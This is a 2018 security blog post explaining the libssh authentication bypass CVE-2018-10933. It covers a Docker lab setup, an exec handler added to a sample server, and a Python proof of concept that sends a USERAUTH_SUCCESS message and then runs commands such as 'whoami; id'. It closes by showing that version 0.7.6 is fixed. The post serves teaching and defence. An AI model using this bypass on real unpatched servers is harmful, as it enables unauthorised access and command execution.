LibSSH New Vulnerability

New vulnerability on libssh CVE-2018-10933

Jonathan Armas

October 18, 2018

The new vulnerability in LibSSH, tracked as CVE-2018-10933, resides on the server code which can enable a client to bypass the authentication process and create channels without permission. This affects servers using versions 0.6 and above being used in server mode.

The bug was discovered by Peter Winter-Smith of NCC Group, it’s like a jedi trick:

User: Let me in
Server: NO
User: I’m authenticated, let me in
Server: OK, YOU’RE IN

Why does this happen? Because of the way LibSSH checks for authentication when it receives an SSH2_MSG_USERAUTH_SUCCESS message instead of the SSH2_MSG_USERAUTH_REQUEST message. It acts like the user is already authenticated, so an attacker could bypass the authentication and execute commands on the server.

Building the enviroment

How does LibSSH work? It’s a C library to implement SSHv2 protocol on the client and server side. First, we need to write our server-side code. We are going to use the sample that LibSSH has (samplesshd-cb.c) and modify it for our purposes.

In the ssh_channel_callbacks_struct we are going to put the following line in order to have the exec functionality:

exec request.

.channel_exec_request_function = exec_request

channel-exec

Next, add the exec_request function, this will take our commands and execute them on the server:

static int exec_nopty(const char *command) {
            /* exec the requested command. */
            execl("/bin/sh", "sh", "-c", command, NULL);
            exit(0);

    return SSH_OK;
}

static int exec_request(ssh_session session, ssh_channel channel,
                        const char *command, void *userdata) {

    printf("Allocated exec  \n");
    (void) userdata;
    (void) session;
    (void) channel;

    return exec_nopty(command);
}

If you have LibSSH with version 0.7.4 you can simply save it, compile it, and execute it. If not, you can use our method. We are going to use a docker container and install both versions (a vulnerable one and a patched one) and then, pass our code to the server and run it. The example files can be downloaded here.

To build the container, open a terminal in the folder of the Dockerfile and run this command:

host$ docker build -t fluidattackscve201810933 .

This will download all the necessary files and compile all the sources of LibSSH.

Then, to open the container simply run this command:

host$ docker run -it -p 2222:2222 fluidattackscve201810933:latest /bin/bash

This is going to mirror our port 2222 to the container port 2222 in order to be able to run our tests. Also, it will open a bash terminal on the container machine where we will run our LibSSH server.

Exploiting the vulnerability

In this case, we are going to use LibSSH v0.7.4 and test the solution with LibSSH v0.7.6. The PoC is on Python version 2, and you can check its source here, but if you downloaded our files, it’s there as exploit.py.

In order to run this PoC you will need paramiko. You can install it by running:

host$ pip install paramiko

In the container, run the following command to start the vulnerable LibSSH server:

container$ ./tmp/libssh-0.7.4/build/examples/samplesshd-cb -k ~/.ssh/id_dsa 0.0.0.0 -k ~/.ssh/id_rsa -p 2222 --verbose

The verbose flag is to see what is sending and receiving our server.

Then, in your machine run the exploit with:

host$ python exploit.py

If you check your container you can see this:

ssh-bypass

When the server is expecting the SSH2_MSG_USERAUTH_REQUEST, we are sending an SSH2_MSG_USERAUTH_SUCCESS.

m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(m)

The server accepts it, and we bypassed the authentication. Then, we can send our commands to the server with:

cmd_channel.exec_command("whoami; id; ls -la /; ip addr")

command-exec

The solution

dont-work

The LibSSH version 0.7.6 doesn’t have this vulnerability. We can test it, too, in our container. We just need to run:

container$ ./tmp/libssh-0.7.6/build/examples/samplesshd-cb -k ~/.ssh/id_dsa 0.0.0.0 -k ~/.ssh/id_rsa -p 2222 --verbose

And on our machine the exploit again:

host$ python exploit.py

no-vulnerable

What’s happening? We send the SSH2_MSG_USERAUTH_SUCCESS. The server receives it, but it won’t authenticate us because they added a validation on their code. When the packet is SSH2_MSG_USERAUTH_SUCCESS, then, it checks for the authentication state. If it is not one of the valid states, it denies the packet.

Code on src/packet.c